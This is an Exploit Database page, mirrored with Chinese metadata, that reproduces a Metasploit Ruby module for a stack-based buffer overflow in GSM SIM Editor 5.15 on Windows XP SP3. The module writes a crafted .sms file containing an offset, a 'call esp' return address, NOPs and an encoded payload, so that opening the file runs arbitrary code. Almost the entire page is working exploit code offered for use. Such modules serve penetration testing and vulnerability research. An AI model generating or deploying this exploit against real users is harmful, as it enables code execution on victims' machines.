GSM SIM Editor 5.15 – Local Buffer Overflow (Metasploit)

• Exploit Database
• 12 阅读

• 作者： Metasploit
  日期： 2012-04-18
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/18748/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  	
  	include Msf::Exploit::FILEFORMAT
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name'=> 'GSM SIM Editor 5.15 Buffer Overflow',
  			'Description' => %q{
  					This module exploits a stack-based buffer overflow in GSM SIM Editor 5.15.
  				When opening a specially crafted .sms file in GSM SIM Editor a stack-based buffer 
  				overflow occurs which allows an attacker to execute arbitrary code.
  			},
  			'License' => MSF_LICENSE,
  			'Author'=>
  				[
  					'Ruben Alejandro',
  					'chap0 <contact.chap0[at]gmail.com>',
  					'Lincoln <lincoln[at]corelan.be>'
  				],
  			'References'=>
  				[
  					[ 'URL', 'http://www.exploit-db.com/exploits/14258/' ]
  				],
  			'DefaultOptions'=>
  				{
  					'ExitFunction' => 'process',
  				},
  			'Platform'=> 'win',
  			'Payload' =>
  				{
  					'Space' => 2000,
  					'BadChars' => "\x00",
  					'DisableNops' => true,
  					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # Stack adjustment #add esp, -3500
  				},
  			'Targets' =>
  				[
  					[ 'Windows XP SP3',
  						{
  							'Ret'=> 0x00405201, # call esp - SIMEditor.exe
  							'Offset' => 810
  						}
  					]
  				],
  			'Privileged'=> false,
  			'DisclosureDate'=> 'Jul 07 2010',
  			'DefaultTarget' => 0))
  
  		register_options(
  			[
  				OptString.new('FILENAME', [ true, 'The file name.', 'msf.sms']),
  		 	], self.class)
  
  	end
  
  	def exploit
  		buffer =rand_text_numeric(target['Offset'])
  		buffer << [target.ret].pack('V').unpack("H*")[0]
  		buffer << make_nops(30).unpack("H*")[0]
  		buffer << payload.encoded.unpack("H*")[0]
  
  		file_create(buffer)
  	end
  
  end